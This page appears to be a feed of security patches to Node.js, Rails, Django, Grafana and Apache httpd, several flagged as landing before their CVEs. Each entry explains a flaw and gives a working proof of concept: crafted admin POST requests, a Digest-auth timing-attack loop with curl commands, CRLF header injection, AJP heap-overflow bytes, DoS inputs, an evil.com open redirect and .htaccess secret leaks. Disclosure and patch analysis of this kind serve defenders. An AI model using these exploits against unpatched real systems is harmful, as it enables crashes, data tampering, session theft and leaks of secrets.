“Exposing patches before CVEs since 2025”
Wednesday, August 12, 2026
May 21, 2026, 09:16 PM — nodejs/node
Commit: fcddd35095f8d754729527b2b7b300a549db2a20
Author: James M Snell
Before the patch, if a QUIC session was closed during an early handshake failure (before the HTTP/3 application was fully started), the server would call `nghttp3_conn_submit_shutdown_notice` and `nghttp3_conn_shutdown` on an nghttp3 connection whose control streams were never bound. This caused an assertion failure inside nghttp3 (asserting `conn->tx.ctrl != NULL`), crashing the Node.js process. The fix adds a `started_` guard so these functions are only called after the H3 application has fully initialized its control streams.
void BeginShutdown() override {
if (conn_) nghttp3_conn_submit_shutdown_notice(*this);
}
void CompleteShutdown() override {
if (conn_) nghttp3_conn_shutdown(*this);
}
// Connect to an HTTP/3 server with h3 ALPN and immediately close before handshake completes:
const { listen, connect } = await import('node:quic');
const serverEndpoint = await listen(async (serverSession) => { await serverSession.closed; }, { sni: { '*': { keys: [key], certs: [cert] } } });
const clientSession = await connect(serverEndpoint.address, { servername: 'localhost' });
await clientSession.close(); // Immediately close — triggers BeginShutdown/CompleteShutdown on server with unbound H3 control streams, causing nghttp3 assertion failure and process crash
May 21, 2026, 02:02 PM — rails/rails
Commit: f928d48de850d326e32c3382077817af796a5f29
Author: fatkodima
The `execute_ar` and `run_explain` methods evaluated ActiveRecord expressions outside of a readonly connection context, allowing write operations to bypass the intended read-only restriction. An attacker with access to the `rails query` command could execute destructive AR expressions like `Post.delete_all` or `Post.first.update!(title: 'hacked')` that modify the database. The patch wraps the `eval` calls inside `with_readonly_connection {}` blocks so that any database writes attempted during expression evaluation are rejected.
def execute_ar(expression:, page:, per:) result = eval(expression, TOPLEVEL_BINDING, "(query)", 1)
# Before the patch, running the following would successfully delete all posts despite the command being advertised as read-only: rails query "Post.delete_all" # Or update a record: rails query 'Post.first.update!(title: "hacked")' # These writes would succeed because eval() ran outside the readonly connection context, allowing write queries through.
May 21, 2026, 01:52 PM — rails/rails
Commit: 299d2c922661e3fd9f2ed8daa3cf10ea38018e4b
Author: Andy Jeffries
The `execute_ar` and `run_explain` methods evaluated ActiveRecord expressions without wrapping them in a readonly connection context. This meant destructive ActiveRecord calls like `Post.delete_all`, `Post.first.update!(...)`, or `Post.destroy_all` could bypass the intended read-only protection and execute write operations against the database. The patch wraps the `eval` calls with `with_readonly_connection { ... }` to enforce the readonly constraint during expression evaluation.
def execute_ar(expression:, page:, per:) result = eval(expression, TOPLEVEL_BINDING, "(query)", 1)
rails query "Post.delete_all" # Before patch: deletes all posts despite the command being advertised as read-only rails query "Post.first.update!(title: 'hacked')" # Before patch: updates a record bypassing readonly mode # In both cases, the DB write succeeds and data is permanently modified, defeating the security guarantee of the read-only query interface.
May 20, 2026, 12:04 PM — django/django
Commit: 7c125f6a6660a70a0568448b2e40db273a456479
Author: Sarah Boyce
Before the patch, the Django admin change form allowed actions to be executed against arbitrary objects, not just the object being edited. An attacker could craft a POST request to a change form URL (for object A) but include the ACTION_CHECKBOX_NAME value of a different object (object B), causing the action to be executed on object B instead. This allowed privilege escalation or unauthorized modification/deletion of objects the user might not intend to affect. The fix adds a server-side check ensuring the checkbox value matches exactly the object being edited.
queryset = self.model._default_manager.get_queryset()
if response := self.response_action(
request, queryset, action_location=ActionLocation.CHANGE_FORM
):
return response
# Attacker visits change form for object s1 (pk=1) but targets object s2 (pk=2) with an action:
import requests
session = requests.Session()
# Assume already authenticated as a user with change permission on ExternalSubscriber
response = session.post(
'http://example.com/admin/admin_views/externalsubscriber/1/change/',
data={
'csrfmiddlewaretoken': '<valid_token>',
'CHANGE_FORM-action': 'delete_selected', # or any destructive action
'_selected_action': '2', # pk of a DIFFERENT object (s2)
'index': '0',
}
)
# Before patch: action runs on object pk=2, even though URL is for object pk=1
# After patch: returns HTTP 400 Bad Request
May 20, 2026, 06:34 AM — rails/rails
Commit: f75b06112051d40769e08aa3475a4969c71f1dec
Author: Jean Boussier
Calling `to_i` on very long strings in Ruby can take an extremely long time due to the algorithmic complexity of bignum conversion, which can be exploited as a DoS vector. Before the patch, `ActiveModel::Type::Integer#cast_value` would call `to_i` on arbitrarily long strings without any length limit. The patch fixes this by truncating strings to `_limit * 4` bytes (e.g., 16 bytes for a 4-byte integer) before calling `to_i`.
def cast_value(value) value.to_i rescue nil end
# Rails application with a model that has an integer column: # User.create(age: '9' * 5_000_000) # Or via HTTP request to any Rails endpoint that accepts integer parameters: # POST /users with body: age=999999999999999999999999999999999999999999....(5MB of 9s) # This causes the server to hang for seconds/minutes while computing to_i on a 5MB string
May 20, 2026, 06:33 AM — rails/rails
Commit: 6ee1adf7d5e92457e99c44cf9851845664293a71
Author: Aaron Patterson
Before this patch, ActiveModel::Type::Integer would call `to_i` on arbitrarily long strings without any length restriction. Ruby's `to_i` on a very large string (e.g., 5 MB of digits) performs significant computational work proportional to the string length, allowing an attacker to send a large integer string in any parameter that gets cast to an integer (e.g., an ID or age field) to cause severe CPU exhaustion and denial of service. The patch limits the input to `_limit * 4` bytes before calling `to_i`.
def cast_value(value) value.to_i rescue nil end
# Attacker sends a POST/GET request with a very large integer string for any integer-typed parameter:
# e.g., POST /users with age=999999999999999999... (5 million '9' chars)
# In Rails app:
# User.create(age: '9' * 5_000_000)
# This causes Ruby to call ('9' * 5_000_000).to_i which walks the entire 5MB string,
# consuming significant CPU time. Repeated requests cause DoS.
# Benchmark: ('9' * 5_000_000).to_i takes ~100-500ms per call on typical hardware.
May 5, 2026, 12:34 PM — django/django
📈 Patch landed 5 hours 59 minutes before CVE published
Commit: c79bdfc1351ef2a2ad95df36241a74c736ef20a1
Author: Sarah Boyce
Django's UpdateCacheMiddleware erroneously cached responses where the Vary header contained an asterisk ('*'). Per RFC 7231, 'Vary: *' means the response is unique per request and must never be served from cache, as it may contain private/user-specific data. An attacker could potentially receive cached private data intended for another user if the server responded with Vary: * but Django still stored and served it from cache.
def process_response(self, request, response):
# (no check for Vary: * before caching)
# Page timeout takes precedence over the "max-age" and the default
# cache timeout.
timeout = self.page_timeout
# 1. A view sets 'Vary: *' to indicate the response is user-specific:
def private_view(request):
response = HttpResponse(f"Secret data for {request.user}")
response['Vary'] = '*'
return response
# 2. User A makes a request - response gets cached by UpdateCacheMiddleware
# GET /private/ (logged in as user_A) -> response cached with key based on URL
# 3. User B makes the same request - FetchFromCacheMiddleware serves cached response
# GET /private/ (logged in as user_B) -> receives 'Secret data for user_A'
# The Vary: * should have prevented caching, but Django cached it anyway
May 5, 2026, 12:34 PM — django/django
📈 Patch landed 5 hours 59 minutes before CVE published
Commit: 7f6e9b55130d5158804c0acbc0b24ccb7422ed82
Author: Jake Howard
When SESSION_SAVE_EVERY_REQUEST=True, Django's session middleware would set a session cookie on responses but failed to include 'Vary: Cookie' in the response headers when the session was not explicitly modified. This meant caching proxies could cache a response containing a Set-Cookie header with a specific session key, and serve that cached response (with that session cookie) to other users, allowing an attacker to steal or fixate another user's session. The patch ensures that whenever a session cookie is set in the response, the Vary: Cookie header is also added.
if (modified or settings.SESSION_SAVE_EVERY_REQUEST) and not empty:
...
response.set_cookie(
settings.SESSION_COOKIE_NAME,
... # Cookie set but Vary header NOT added here
1. Configure Django with SESSION_SAVE_EVERY_REQUEST=True and a caching proxy (e.g., Varnish/Nginx) in front. 2. Attacker visits a public page (e.g., GET /public/) - Django creates/renews a session cookie in the response but does NOT set 'Vary: Cookie', so the caching proxy caches the response including the Set-Cookie header with the attacker's session_key. 3. A legitimate user visits GET /public/ - the caching proxy returns the cached response, setting the attacker's session cookie on the victim's browser. 4. Both attacker and victim now share the same session_key, allowing the attacker to access any session data the victim subsequently stores (e.g., after login if session is reused).
May 5, 2026, 12:33 PM — django/django
📈 Patch landed 5 hours 59 minutes before CVE published
Commit: 5a89e341bfc77dd67b7fd57b7091b6430558e1f4
Author: Jacob Walls
In Django's ASGI deployments, the MemoryFileUploadHandler relied solely on the Content-Length header to determine whether a file upload should be stored in memory. Since ASGI doesn't guarantee that Content-Length accurately reflects the actual request body size (e.g., with chunked transfer encoding or a deliberately understated header), an attacker could send a multipart file upload with a small or missing Content-Length value but a very large body, bypassing FILE_UPLOAD_MAX_MEMORY_SIZE and forcing the server to load arbitrarily large files into memory. The patch fixes this by seeking to the end of the stream to measure the actual size when possible, falling back to Content-Length only for non-seekable streams.
self.activated = content_length <= settings.FILE_UPLOAD_MAX_MEMORY_SIZE
import asyncio
from asgiref.testing import ApplicationCommunicator
from django.core.asgi import get_asgi_application
# Send multipart upload with Content-Length: 9 but actual body is 10MB
boundary = b'testboundary'
file_content = b'x' * 10_000_000 # 10MB
body = (b'--' + boundary + b'\r\nContent-Disposition: form-data; name="file"; filename="big.bin"\r\nContent-Type: application/octet-stream\r\n\r\n' + file_content + b'\r\n--' + boundary + b'--\r\n')
scope = {
'type': 'http',
'method': 'POST',
'path': '/upload/',
'headers': [
(b'content-type', b'multipart/form-data; boundary=testboundary'),
(b'content-length', b'9'), # Deliberately understated
],
}
# With FILE_UPLOAD_MAX_MEMORY_SIZE=1000 and the old code:
# content_length=9 <= 1000, so handler.activated=True
# The entire 10MB file gets loaded into memory despite the limit
May 4, 2026, 04:12 PM — grafana/grafana
Commit: 0dacf3519331a1a7f1c3580cea58bc4cd1c76e55
Author: Matheus Macabu
Before the patch, any user or service account could modify the `ownerReferences` field of a SecureValue during an update operation. This allowed unprivileged users to convert a shared secure value (with an owner reference linking it to a data source or other resource) into an inline one or vice versa, potentially bypassing access control policies that depend on owner references to determine secret scope and access. The patch restricts `ownerReferences` mutations to only `AccessPolicy` identity types, preserving the existing references for all other callers.
// In Update(), before the patch, newSecureValue.OwnerReferences was passed through
// unchanged regardless of caller identity, allowing any user to set arbitrary owner references.
keeperCfg, err := s.keeperMetadataStorage.GetKeeperConfig(ctx, currentVersion.Namespace, currentVersion.Status.Keeper, contracts.ReadOpts{})
// A regular user or service account performs an update request:
// 1. Attacker has access to update a SecureValue 'my-secret' in namespace 'ns1'
// 2. The secret currently has ownerReferences=[] (inline secret, restricted access)
// 3. Attacker sends an update with ownerReferences=[{kind: DataSource, name: shared-ds}]
// transforming it into a shared secret accessible by the data source owner
// kubectl patch securevalue my-secret --type=merge -p '{"metadata":{"ownerReferences":[{"apiVersion":"v0alpha1","kind":"DataSource","name":"shared-ds","uid":"abc123"}]}}'
// Before patch: ownerReferences would be updated, changing secret ownership/access scope
// After patch: ownerReferences are silently preserved from the current stored value
Apr 30, 2026, 04:52 PM — nodejs/node
Commit: 80e0f14f8eaf4909e330900c3caebd3ddd3d210b
Author: Nicola Del Gobbo
Before the patch, calling `pathToFileURL()` with a UNC path containing a malformed hostname (e.g., one with a space) would cause a Node.js process crash via a failed `CHECK()` assertion. The `CHECK(out->set_hostname(...))` call aborts the process when `set_hostname()` returns false for invalid hostnames. The fix replaces the hard crash with a proper `ERR_INVALID_URL` exception.
CHECK(out->set_hostname(hostname.ToStringView()));
// Run in Node.js (any version before the patch):
const url = require('url');
url.pathToFileURL('\\\\exa mple\\share\\file.txt', { windows: true });
// Result: Process crashes with CHECK failure (abort) instead of throwing an error
// On Windows without the { windows: true } option, the same occurs naturally
Apr 28, 2026, 06:01 PM — grafana/grafana
Commit: 3727e122ed2d74b364562bd841db20611ce29ea0
Author: Ryan Melendez
The original `handleRedirectTo` function in `app.ts` consumed a stored redirect URL from sessionStorage after login without checking whether the URL belonged to the same origin. An attacker could craft a login URL containing `?redirectTo=https://evil.com/phishing` to store a cross-origin URL, which would then be passed directly to `locationService.replace()` after the user logged in, redirecting them to an attacker-controlled site. The patch adds an origin check using `new URL()` to ensure only same-origin redirects are followed via frontend navigation.
window.sessionStorage.removeItem(RedirectToUrlKey);
let decodedRedirectTo = decodeURIComponent(redirectTo);
if (decodedRedirectTo.startsWith('/goto/')) {
const urlToRedirectTo = locationUtil.assureBaseUrl(decodedRedirectTo);
window.location.replace(urlToRedirectTo);
return;
}
const stripped = locationUtil.stripBaseFromUrl(decodedRedirectTo);
locationService.replace(stripped);
1. Attacker sends victim a crafted link: https://grafana.example.com/login?redirectTo=https://evil.com/steal-credentials
2. Victim clicks the link; the login page stores `encodeURIComponent('https://evil.com/steal-credentials')` in sessionStorage under RedirectToUrlKey
3. Victim logs in successfully
4. `handleRedirectTo()` is called, decodes the stored value to `https://evil.com/steal-credentials`, which doesn't start with `/goto/`, so it calls `locationService.replace('https://evil.com/steal-credentials')`
5. Victim is redirected to the attacker's phishing site with their browser in an authenticated context
Apr 28, 2026, 05:44 PM — django/django
Commit: 5b3cfce51770f46c6dc100e9be7f199a37176762
Author: Artyom Kotovskiy
Before the patch, when a POST request was submitted to the Django admin changelist view with list_editable fields, the formset used for saving data was constructed directly with `FormSet(request.POST, request.FILES, queryset=modified_objects)` rather than going through `_get_formset_with_permissions()`. This meant the per-object permission check that removes editable fields for unauthorized objects was bypassed during form submission. An authenticated admin user with restricted per-object change permissions could modify objects they were not permitted to edit by crafting a POST request to the changelist view.
cl.formset = FormSet(request.POST, request.FILES, queryset=modified_objects)
# Setup: User has change permission only for objects where obj.alive=True (per PersonNoChangePermissionsAdmin9)
# per2 has alive=False, so user should NOT be able to edit it
# But before the patch, POST directly to changelist bypasses per-object permission:
import requests
data = {
'form-TOTAL_FORMS': '1',
'form-INITIAL_FORMS': '1',
'form-MAX_NUM_FORMS': '0',
'form-0-id': str(per2.pk), # per2 is not editable (alive=False)
'form-0-gender': '2', # attempt to change gender
'_save': 'Save',
}
response = requests.post('/admin9/admin_views/person/', data=data, cookies=session_cookie)
# Before patch: per2.gender is updated to 2 despite lacking permission
# After patch: per2.gender remains unchanged because _get_formset_with_permissions() strips fields for unauthorized objects
Apr 28, 2026, 04:49 PM — nodejs/node
Commit: 4247cd305b4f6d79912caaaf105faad324d3bc83
Author: semimikoh
Before the patch, `GetErrorSource()` in `node_errors.cc` could trigger a `CHECK_GE(end, start)` assertion failure (process crash) when V8 reported a negative or invalid `end` column for certain malformed JavaScript syntax (e.g., invalid `using` declarations). The patch removes the hard assertion and instead adds a guard so that the underflow arithmetic and out-of-bounds access are avoided, returning early if `end < script_start` or `end < 0`. This could be triggered by any user-supplied JavaScript evaluated by Node.js, causing a denial of service.
if (start >= script_start) {
CHECK_GE(end, start);
start -= script_start;
end -= script_start;
}
// Run with: node poc.js
// Node.js crashes with an assertion failure (CHECK_GE) before the patch
const { runInNewContext } = require('vm');
try {
runInNewContext('using');
} catch (e) {
// Without patch: process aborts due to CHECK_GE(end, start) failing
// With patch: SyntaxError is thrown and caught normally
console.log('Caught:', e.message);
}
Apr 27, 2026, 12:54 PM — apache/httpd
📈 Patch landed 7 days 2 hours 36 minutes before CVE published
Commit: 7f5de0aebf5c04796aa9c25153413b09d609763b
Author: Joe Orton
The code before the patch used non-constant-time comparison functions (apr_crypto_equals was already constant-time, but the local implementation in mod_session_crypto.c and the reliance on apr_crypto_equals without a guaranteed fallback) when comparing cryptographic digests in digest authentication and session crypto. A timing attack against the digest comparison in mod_auth_digest could allow an attacker to determine the correct digest byte-by-byte by measuring response times, potentially enabling authentication bypass. The patch replaces these comparisons with guaranteed constant-time functions.
if (!apr_crypto_equals(resp->digest, old_digest(r, resp), MD5_DIGEST_LEN)) {
// and
if (!apr_crypto_equals(resp->digest, exp_digest, MD5_DIGEST_LEN)) {
// and in mod_session_crypto.c:
if (!ap_crypto_equals(auth, decoded, AP_SIPHASH_DSIZE)) {
Timing attack against mod_auth_digest: Send repeated HTTP Digest Authentication requests with modified 'response' field values, measuring the time taken for the server to respond. By iterating over possible values for each byte of the MD5 digest and measuring which value causes a slightly longer response (due to non-constant-time comparison returning earlier on mismatch), an attacker can determine the correct digest one byte at a time without knowing the password. Example script concept:
for byte_pos in range(MD5_DIGEST_LEN):
for candidate in range(256):
crafted_digest = known_prefix + chr(candidate) + arbitrary_suffix
t = measure_response_time(send_digest_auth_request(crafted_digest))
if t > threshold:
known_prefix += chr(candidate) # found correct byte
break
# After completing all bytes, use the reconstructed digest to authenticate.
Apr 26, 2026, 04:30 PM — apache/httpd
📈 Patch landed 7 days 23 hours before CVE published
Commit: 38809faac18bfc8e610b4196c6dad6f481aa1376
Author: Eric Covener
The validate_status_line function in Apache httpd failed to check for newline characters and control characters in the status line reason phrase (the text after the 3-digit status code). An attacker who could influence the status line (e.g., via a proxied backend response or certain CGI/module interactions) could inject CRLF sequences to inject arbitrary HTTP response headers or split the response. The patch adds a call to ap_scan_http_field_content to reject any status line containing invalid characters.
if (len > 4 && *ap_scan_http_field_content(r->status_line + 4)) {
r->status_line = NULL;
return APR_EGENERAL;
}
return APR_SUCCESS;
A backend or CGI sets a custom status line like: 'HTTP/1.1 200 OK\r\nSet-Cookie: injected=value'. Before the patch, if r->status_line was set to '200 OK\r\nSet-Cookie: injected=value', the validate_status_line function would pass it through, and Apache would forward the injected header to the client. Exploit: configure a reverse proxy to a malicious backend that responds with status line containing CRLF: e.g., send response status '200 OK\r\nX-Injected: malicious' — Apache would relay the injected header to the downstream client.
Apr 26, 2026, 04:25 PM — apache/httpd
📈 Patch landed 7 days 23 hours 5 minutes before CVE published
Commit: cd414337011b47f43ede96ce1dd2bd9c869e031f
Author: Eric Covener
The code before the patch used strcmp() to compare digest authentication hashes, which is vulnerable to timing attacks. An attacker could measure response times to infer the correct digest value byte-by-byte. The patch replaces strcmp() with apr_crypto_equals(), which performs a constant-time comparison that prevents timing oracle attacks on the authentication mechanism.
if (strcmp(resp->digest, old_digest(r, resp))) {
...
}
if (strcmp(resp->digest, exp_digest)) {
...
}
if (strcmp(hash, resp->nonce+NONCE_TIME_LEN)) {
An attacker can exploit the timing difference in strcmp() to brute-force the digest response: 1. Send many Authorization: Digest requests with varying 'response' field values (hex strings) 2. Measure response times for each attempt 3. Since strcmp() returns as soon as a byte mismatch is found, a response that matches more prefix bytes takes slightly longer 4. For each position, try all 16 hex characters (0-9, a-f) and pick the one with the highest response time 5. Repeat for all 32 hex characters (MD5_DIGEST_LEN=32) to recover valid digest Example: Using timing measurements, attacker iterates: curl -H 'Authorization: Digest username="user", realm="realm", nonce="...", uri="/", response="0000..."' http://target/ curl -H 'Authorization: Digest username="user", realm="realm", nonce="...", uri="/", response="1000..."' http://target/ ... measure which prefix yields longer response time to determine correct bytes
Apr 26, 2026, 03:59 PM — apache/httpd
Commit: cfb8882f04b1c986656f6b19c487ab27810071b9
Author: Eric Covener
When Apache HTTP Server processed ap_expr expressions in .htaccess files (htaccess context), it used the full unrestricted expression parser instead of the restricted one. This allowed users with .htaccess write access to use dangerous ap_expr functions (such as %{req:...}, %{env:...}, file system functions, or other privileged lookups) that are normally restricted to server configuration. The patch adds AP_EXPR_FLAG_RESTRICTED when parsing expressions in htaccess context across mod_rewrite, mod_setenvif, and mod_proxy_fcgi.
newcond->expr = ap_expr_parse_cmd(cmd, a2, flags, &err, NULL); // and: new->expr = ap_expr_parse_cmd(cmd, expr, 0, &err, NULL); // and: new->cond = ap_expr_parse_cmd(cmd, arg1, 0, &err, NULL);
In a .htaccess file, an attacker with write access could use expressions that are supposed to be restricted to server-level config. For example:
# In .htaccess using RewriteCond with ap_expr:
RewriteCond expr "%{osenv:SECRET_ENV_VAR} -eq 1"
RewriteRule ^ /leaked [R]
# Or using SetEnvIfExpr to read sensitive data:
SetEnvIfExpr "osenv('SECRET_KEY') =~ /(.*)/ " leak=$1
The unrestricted parser allowed access to functions like osenv() which expose server-side environment variables and other sensitive data not intended to be accessible from .htaccess context.
Apr 26, 2026, 03:57 PM — apache/httpd
📈 Patch landed 9 days 8 hours 34 minutes before CVE published
Commit: 76dac5d445a36751f4b9f8c3abd8f10b07904528
Author: Eric Covener
The `ajp_msg_check_header` function checked if the AJP message body length (`msglen`) exceeded `msg->max_size`, but the buffer also includes `AJP_HEADER_LEN` bytes for the header itself. Since `msglen` refers only to the body/payload length, the actual data written would be `msglen + AJP_HEADER_LEN` bytes, potentially overflowing the allocated buffer if `msglen` is close to `max_size`. The fix corrects the comparison to `msg->max_size - AJP_HEADER_LEN` so that the total data (header + body) never exceeds the buffer capacity.
if (msglen > msg->max_size) {
ap_log_error(APLOG_MARK, APLOG_ERR, 0, NULL, APLOGNO(01081)
"ajp_msg_check_header() incoming message is "
"too big %" APR_SIZE_T_FMT ", max is %" APR_SIZE_T_FMT,
msglen, msg->max_size);
Send a crafted AJP message from the backend (Tomcat or malicious server) with the 2-byte length field in the AJP header set to (max_size - AJP_HEADER_LEN + 1), e.g., if max_size=8192 and AJP_HEADER_LEN=4, set msglen=8189 (0x1FFD). Before the patch, 8189 < 8192 passes the check, but reading 4 (header) + 8189 = 8193 bytes into the 8192-byte buffer causes a 1-byte heap overflow. A malicious AJP backend can craft: bytes [0x41, 0x42, 0x1F, 0xFD, ...8189 bytes of payload...] causing mod_proxy_ajp to overflow its message buffer.
Apr 26, 2026, 03:53 PM — apache/httpd
📈 Patch landed 7 days 23 hours 37 minutes before CVE published
Commit: 91d14cb926b1be8a53ebc334d6274027be99ac12
Author: Eric Covener
Before the patch, `ajp_parse_data` computed `expected_len = msg->len - (AJP_HEADER_LEN + AJP_HEADER_SZ_LEN + 1 + 1)` without first verifying that `msg->len` is large enough. If a malicious AJP backend sends a crafted message with `msg->len` smaller than the constant subtrahend (e.g., msg->len = 0 or very small), the subtraction wraps around to a large positive value (integer/size_t underflow). This incorrect `expected_len` is then compared against the caller-supplied `*len`, potentially allowing a malformed AJP DATA message to bypass length validation and cause subsequent out-of-bounds memory reads. The patch adds a guard that returns an error if the message is too small before performing the subtraction.
expected_len = msg->len - (AJP_HEADER_LEN + AJP_HEADER_SZ_LEN + 1 + 1);
if (*len != expected_len) {
A malicious or compromised AJP backend sends an AJP DATA packet with the packet body length field set to a value smaller than AJP_HEADER_LEN + AJP_HEADER_SZ_LEN + 2 (e.g., total msg->len = 2). The subtraction `2 - (4 + 2 + 1 + 1)` wraps to a large apr_size_t value (~0xFFFFFFF8 on 32-bit), causing `expected_len` to be enormous. If `*len` happens to match this wrapped value (or the check is bypassed), the code proceeds to read/copy data far beyond the actual message buffer boundary, resulting in an out-of-bounds read that could expose sensitive process memory or crash the proxy worker.
Apr 26, 2026, 03:50 PM — apache/httpd
📈 Patch landed 7 days 23 hours 40 minutes before CVE published
Commit: 250fa4a42f43a6ddf99861dfa910971eff69eced
Author: Eric Covener
The original check `size + start > msg->max_size` was incorrect in two ways: it compared against max_size (the allocated buffer capacity) rather than msg->len (the actual data length), and used strict greater-than rather than greater-than-or-equal. This allowed a malicious AJP backend to send a crafted AJP message where the string size field indicates more bytes than are actually present in the message, causing Apache httpd to read beyond valid message data. The patch corrects the bounds check to use msg->len and also verifies the required null terminator is present at the expected position.
if ((status != APR_SUCCESS) || (size + start > msg->max_size)) {
return ajp_log_overflow(msg, "ajp_msg_get_string");
}
Craft a malicious AJP response packet where the string length field is set to a value larger than the remaining bytes in the message but smaller than max_size (the full buffer allocation). For example, if msg->len=100 and msg->max_size=8192, send a string header with size=8000 and start=50: size+start=8050 which does NOT exceed max_size (8192) so the old check passes, but the code then reads 8000 bytes starting at position 50 even though only 50 bytes of valid data remain in the message, leaking heap memory contents beyond the AJP message boundary into parsed HTTP response headers.
Apr 26, 2026, 03:47 PM — apache/httpd
📈 Patch landed 7 days 23 hours 43 minutes before CVE published
Commit: 17e874e2781c1bbbeb2213bd580d371a1091085b
Author: Eric Covener
The AJP message parsing functions in Apache httpd used incorrect boundary checks (> instead of >=), allowing a read of exactly one byte beyond the valid message buffer. For example, ajp_msg_get_uint8 and ajp_msg_peek_uint8 used `msg->pos > msg->len` when they should use `>=`, meaning when pos == len (pointing just past the last byte) the check would pass and a byte at msg->buf\[msg->len\] would be read out of bounds. Similarly, ajp_msg_get_uint16/peek_uint16 allowed reading 2 bytes when only 1 remained, and ajp_msg_get_uint32 allowed reading 4 bytes when only 3 remained. A malicious AJP backend could craft a response that exploits this to cause an out-of-bounds read.
if (msg->pos > msg->len) {
return ajp_log_overflow(msg, "ajp_msg_get_uint8");
}
A malicious AJP backend sends a response message where the data payload is exactly N bytes, but the AJP response headers indicate there is one more field to read. When Apache httpd calls ajp_msg_get_uint8() with msg->pos == msg->len, the check `msg->pos > msg->len` evaluates to false (since they are equal), so the function proceeds to read msg->buf[msg->pos] which is one byte past the end of the valid message buffer, resulting in an out-of-bounds read. Concretely: craft an AJP SEND_HEADERS response with msg->len=10 and position the read cursor so pos=10, then the function reads buf[10] which is outside the allocated message data.
Apr 24, 2026, 03:12 PM — grafana/grafana
Patch landed 8 days 17 hours 42 minutes after CVE published
Commit: cb6656772084af7184a39f88d303d30136a9c3df
Author: Yuri Tseretyan
The UpdateAdminConfiguration function used xorm's fluent Where+Update(struct) pattern, but xorm resolves the target row by primary key when a struct is passed to Update(), silently ignoring the WHERE org_id clause. This caused all rows in the ngalert_configuration table to be updated when multiple organizations existed, allowing one org's configuration update to overwrite alert routing settings for all other orgs. The fix fetches the existing row first to get its primary key, then uses .ID() to scope the UPDATE to exactly that one record.
_, err = sess.Table("ngalert_configuration").Where("org_id = ?", cmd.AdminConfiguration.OrgID).Cols(
buildUpdateCols(cmd.AdminConfiguration)...,
).Update(cmd.AdminConfiguration)
Scenario: Two orgs (ID=1, ID=2) each have an ngalert_configuration row. Org 1 has SendAlertsTo=ExternalAlertmanagers, Org 2 has SendAlertsTo=ExternalAlertmanagers. Attacker (or any user with org-2 admin rights) calls UpdateAdminConfiguration for org 2 with SendAlertsTo=InternalAlertmanager. Before the patch, xorm ignores the WHERE org_id=2 clause and updates ALL rows by PK=0 (default), effectively updating every org's configuration to InternalAlertmanager. This means org 1's alert routing is silently changed without its admin's knowledge, potentially suppressing external alertmanager notifications for org 1.
Apr 23, 2026, 10:42 AM — nodejs/node
Commit: d44a71a25111dd0b73883fadb66cdef6b1414547
Author: Daijiro Wachi
The NO_PROXY environment variable's leading-dot suffix matching was too permissive: `NO_PROXY=.example.com` would match any hostname ending in `example.com`, including `notexample.com` or `badexample.com`. This means an attacker-controlled hostname like `evilexample.com` could bypass proxy restrictions that were intended only for subdomains of `example.com`. The fix ensures that the dot-separated boundary is properly checked by requiring either an exact match or that the character before the suffix starts with a dot.
if (entry[0] === '.') {
const suffix = entry.substring(1);
if (host.endsWith(suffix)) return false;
}
Set NO_PROXY=.example.com and HTTP_PROXY=http://proxy.internal:8080, then make a request to http://notexample.com/. Before the patch, `notexample.com`.endsWith(`example.com`) is true, so the proxy would be bypassed for `notexample.com`, which is not a subdomain of `example.com`. This allows requests to unintended hosts to skip proxy controls (e.g., security scanning proxies or traffic inspection proxies).
Apr 22, 2026, 04:52 PM — nodejs/node
Commit: c69c6f14f2b486b66293f01e0bc47ef95cbe52c0
Author: Anna Henningsen
Small typed arrays (e.g., Int8Array, Float32Array with few elements) in V8 may not have a backing store allocated until their corresponding ArrayBuffer is explicitly accessed. Before the patch, calling GetRawPointer with such a small TypedArray would return a pointer into arbitrary stack memory (the in-heap representation) rather than a valid heap buffer. An attacker could use this to leak stack memory addresses or read arbitrary stack data via the FFI interface.
} else if (args[0]->IsArrayBufferView()) {\n ArrayBufferViewContents<uint8_t> view(args[0]);\n if (view.WasDetached()) {\n ...\n }\n ptr = reinterpret_cast<uintptr_t>(view.data());
// Node.js FFI proof of concept - reading arbitrary stack memory\nconst { getRawPointer } = require('node:ffi'); // internal FFI binding\n// Create a small Int8Array - V8 may store it in-heap without a BackingStore\nconst small = new Int8Array(4); // Small enough for V8 in-heap optimization\n// Before patch: getRawPointer(small) returns a pointer to stack/heap memory\n// that is NOT the actual typed array backing store\nconst ptr = getRawPointer(small);\n// ptr now points to arbitrary stack memory; reading from ptr leaks stack data\n// This can be used to bypass heap-spray mitigations or leak return addresses